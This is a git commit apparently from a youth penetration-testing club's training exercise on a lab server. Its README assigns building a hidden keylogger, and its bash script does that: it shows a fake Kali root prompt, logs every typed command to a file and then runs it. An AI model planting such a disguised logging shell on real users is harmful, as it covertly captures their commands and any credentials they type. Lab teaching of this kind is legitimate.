keylogger-example.sh: Example keylogger script

- Script logs all keys pressed on keyboard to file
- Fake command prompt is displayed to user while running

README.md: Added instructions for creating and running keylogger
- Instructions include creating new directory, executable file, and script that logs keys to file
- Hints provided for infinite loop, getting input from user, displaying message of the day, and running variable as command.
This commit is contained in:
Nathan Woodburn 2023-06-02 22:40:11 +10:00
parent c0ddf0e89b
commit f78d7461ab
Signed by: nathanwoodburn
GPG Key ID: 203B000478AD0EF1
2 changed files with 93 additions and 0 deletions

View File

@ -1 +1,47 @@
# BB-Pen-2 # BB-Pen-2
The task this week is to create a simple keylogger that will log all the keys pressed on the keyboard and save them to a file.
The program should run in the background and not be visible to the user.
## Requirements
- Access to the kali.boysbrigade.au server (or another linux machine) (This will be provided)
## Instructions
1. SSH into the server using the provided credentials following the instructions from last week.
2. Create a new directory for your project and navigate into it. (Put your name in the directory name to avoid conflicts between other members)
3. In that directory create a new executable file to run the keylogger.
4. Write a script (file that ends in .sh) that will log all the keys pressed on the keyboard and save them to a file.
5. Try to make the keylogger look like it is not running (Hint: show the user a fake command prompt)
## Running the keylogger
```sh
# Run normally
./keylogger.sh
# Run so that it will close the SSH session when you close the logger
exec ./keylogger.sh
```
## Hints
1. Infinite loop:
```sh
while true
do
# Your code here
# Will run forever
done
```
2. Get an input from the user:
```sh
read -p "Enter something: " input
echo "You inputed $input"
```
3. Get the message of the day (Screen that appears when you login):
```sh
cat /etc/motd
```
4. Run a variable as a command:
```sh
command="ls"
$command
# This will run the 'ls' command
```

47
keylogger-example.sh Normal file
View File

@ -0,0 +1,47 @@
#!/bin/bash
# This script will run a keylogger
# and display a fake terminal prompt
Log=/root/keylogger/log.txt
# Clear the terminal
clear
# Show the motd
cat /etc/motd
# Loop forever
while true
do
# Get current terminal prompt
promptp11="┌──(" #blue
promptp12=$(whoami) #red
promptp13="㉿kali" #red
promptp14=")-[" #blue
promptp15=$(pwd) #green
# Replace home directory with ~
promptp15=${promptp15//"$HOME"/"~"}
promptp16="]" #blue
promptp21="└─" #blue
promptp22="#" #red
# Display the prompt formatted for the user
printf "\e[1;34m$promptp11\e[1;31m$promptp12\e[1;31m$promptp13\e[1;34m$promptp14\e[1;32m$promptp15\e[1;34m$promptp16\n\e[1;34m$promptp21\e[1;31m$promptp22\e[0m "
# Read user input
read input
if [ -z "$input" ]; then
exit
fi
# save the input to a file
echo $input >> $Log
# Run the command
$input
done